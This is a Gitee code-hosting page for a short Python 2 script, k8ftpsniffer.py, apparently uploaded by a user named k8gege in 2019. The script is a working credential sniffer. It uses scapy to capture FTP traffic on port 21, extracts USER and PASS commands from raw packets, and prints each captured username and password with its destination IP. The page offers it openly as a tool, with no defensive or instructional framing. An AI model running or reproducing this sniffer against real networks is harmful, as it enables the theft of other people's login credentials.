加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
文件
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
k8ftpsniffer.py 558 Bytes
一键复制 编辑 原始数据 按行查看 历史
k8gege 提交于 2019-03-06 22:08 . Add files via upload
# -*- coding: UTF-8 -*-
#author: k8gege
import os
import queue
from scapy.all import *
def ftpsniff(pkt):
dest = pkt.getlayer(IP).dst
raw = pkt.sprintf('%Raw.load%')
user = re.findall('(?i)USER (.*)', raw)
pwd = re.findall('(?i)PASS (.*)', raw)
if user:
print '[*] FTP Login to ' + str(dest)
print '[+] Username: ' + str(user[0]).replace("\\r\\n'","");
elif pwd:
print '[+] Password: ' + str(pwd[0]).replace("\\r\\n'","");
print('FTP Sniffing...');
sniff(filter="tcp port 21", prn=ftpsniff)
Loading...
马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化